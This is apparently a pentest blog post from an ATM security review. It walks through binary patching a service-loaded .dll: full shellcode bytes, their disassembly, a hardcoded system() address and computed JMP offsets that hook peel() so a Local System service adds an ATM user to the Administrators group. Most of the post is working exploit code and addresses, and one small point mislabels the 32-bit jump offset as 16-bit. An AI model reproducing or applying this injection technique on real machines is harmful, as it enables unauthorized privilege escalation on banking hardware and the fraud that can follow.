Old School Code Injection in an ATM .dll

During our last ATM review engagement, we found some interesting executable files that were run by Windows Services under Local System account. These binaries had weak file permissions that allowed us to modify them using the standard ATM user account. As a proof of concept, I decided to inject some code into one of them to take full control of the system.

This post is about the technique I used to inject the code into a .dll used by one of the Windows Services. I'm sure there are many other ways to do this, including with automatic tools, but this old school code injection worked for me, so it is worth sharing. I have renamed the binaries in order to avoid disclosing information about the vendor. Anyway, the issue here was only related to file permissions and not to the actual binaries.

First analysis

First, I decompiled the banana-service.exe binary, a .NET assembly using ILSpy (http://ilspy.net/), in order to learn a bit more about it. Here is what I found in the code:

01- dotnet_decompile-edited

…[SNIP]…[DllImport("peel.dll", SetLastError = true)]public static extern int peel();protected override void OnStart(string[] args){     int num = banana-service.peel();…[SNIP]…

So the assembly is just calling the peel() function located in the peel.dll library. This is where I am going to inject my code.

I could have tried to inject directly into the assembly code but I choose the .dll instead, which was the easiest way for me.

Here is an extract of the disassembled code of the exported peel() function in the .dll:

02-peel_code

We want our own code to execute immediately when peel() is called. To do so, we are going to change the beginning of the function to jump to our code and return to the normal execution flow after it. This way, the function will behave normally without disrupting the ATM. But where should we put our code?

At the end of the .text section we can see a code cave full of 0x00 bytes, which is the perfect place:

03-codecave

Shell code

I used a basic shell code that originally runs cmd.exe and modified it to execute the following command:

net localgroup administrators Default_atm /add

This simply adds the Default_atm user to the Administrators local group. The original shell code can be found here: http://www.exploit-db.com/exploits/13614/.

This code simply calls the C library function system() located in msvcrt.dll library passing the command as a parameter. The ATM was running Windows XP SP3, and I didn't have to change the address of the system() function (0x77c293c7). In case your library is different, you can find this address with Dependency Walker. Find the address of the system() function in msvcrt.dll and add the Preferred Base address to it (0x193C7 + 0x77c10000 = 0x77c293c7):

04-dependency-edited

Here is the shell code:

\x55\x8B\xEC\x68\x64\x64\x26\x20\x68\x6D\x20\x2F\x61\x68\x74\x5F\x61\x74\x68\x66\x61\x75\x6C\x68\x73\x20\x44\x65\x68\x61\x74\x6F\x72\x68\x69\x73\x74\x72\x68\x64\x6D\x69\x6E\x68\x75\x70\x20\x61\x68\x6C\x67\x72\x6F\x68\x6C\x6F\x63\x61\x68\x6E\x65\x74\x20\x8D\x45\xD0\x50\xB8\xC7\x93\xC2\x77\xFF\xD0\x83\xC4\x4C\x8B\xE5\x5D

And here are the explanations:

1. Prologue:

 0: 55                      push   ebp 1: 8b ec                   mov    ebp,esp 

2. Push the string representation of the command we want to execute: "net localgroup administrators Default_atm /add& " ("&[space]" at the end is only padding).

 3: 68 64 64 26 20          push   0x20266464 8: 68 6d 20 2f 61          push   0x612f206d d: 68 74 5f 61 74          push   0x74615f7412: 68 66 61 75 6c          push   0x6c75616617: 68 73 20 44 65          push   0x654420731c: 68 61 74 6f 72          push   0x726f746121: 68 69 73 74 72          push   0x7274736926: 68 64 6d 69 6e          push   0x6e696d642b: 68 75 70 20 61          push   0x6120707530: 68 6c 67 72 6f          push   0x6f72676c35: 68 6c 6f 63 61          push   0x61636f6c3a: 68 6e 65 74 20          push   0x2074656e

3. Push a pointer to the beginning of the string on the stack:

3f: 8d 45 d0                lea    eax,[ebp-0x30]42: 50                      push   eax

4. Call the system() function:

43: b8 c7 93 c2 77          mov    eax,0x77c293c748: ff d0                   call   eax

5. Do some cleanup:

4a: 83 c4 4c                add    esp,0x4c4d: 8b e5                   mov    esp,ebp4f: 5d                      pop    ebp 

Now we need to include this in the binary and write the jump instructions to connect everything together.

Adding the code to the binary

Let's copy these bytes in the code cave we found earlier (at the address 0x100B9E9D for example)...

05-shellcode-edited

… and see how IDA Pro translates this:

06-shellcode2-edited

Now we need to write the instruction that will jump to this code (near jump). We are going to do it at the beginning of the peel() function (at the address 0x10003CB0).

The operand of the JMP instruction will be an offset (16-bit) from the address 0x10003CB0 to 0x100B9E9D, which would be 0xB61ED. But because the JMP instruction offset is relative to the address of the instruction following the JMP, we have to subtract 5 (the length of JMP+[16-bit offset] is 5 bytes). The final instruction is:

0: E9 E8 61 0B 00          jmp 0xb61e8

The peel() function begins with the following code:

0: 55                      push   ebp1: 8b ec                   mov    ebp,esp3: 81 ec 9c 00 00 00       sub    esp,0x9c 

We will need to overwrite the first 5 bytes (the JMP instruction) and, to avoid breaking the original code, we will need to move the first 3 instructions above to the end of our injected code. Also, because the total length of these instructions is 9 bytes, we will pad the 4 remaining bytes with NOP instructions (not mandatory here though).

Finally, the code at the beginning of the peel() function (at 0x10003CB0) will be:

E9 E8 61 0B 00 90 90 90 90

07-jmp-edited

08-jmp2-edited

Now going back to our injected code, I will simply add the code we overwrote:

09-add_code-edited

10-add_code2-edited

We could have done some factorization here. We can see that we have redundant and useless code, but let's keep it like this for now:

…[SNIP]….text:100B9EE7                 add     esp, 4Ch.text:100B9EEA                 mov     esp, ebp.text:100B9EEC                 pop     ebp.text:100B9EED                 push    ebp.text:100B9EEE                 mov     ebp, esp.text:100B9EF0                 sub     esp, 9Ch…[SNIP]…

The last thing we have to do now is jump back to right after the first JMP instruction located at the beginning of the peel() function.

Let's do the math:

  0x10003CB9 (address of the first instruction after the 4 NOP we added)- 0x100B9EF6 (address after the last instruction in our injected code)- 0x5        (size of JMP instruction)-------------  0xFFF49DBE (or the negative value: -0xB6242)

The jump instruction will be:

0: E9 BE 9D F4 FF           jmp 0xFFF49DBE

11-final_jmp-edited

12-final_jmp2-edited

Et voila!

In the next post I will give more details on how to actually patch the binary. Stay tuned…

Trustwave reserves the right to review all comments in the discussion below. Please note that for security and other reasons, we may not approve comments containing links.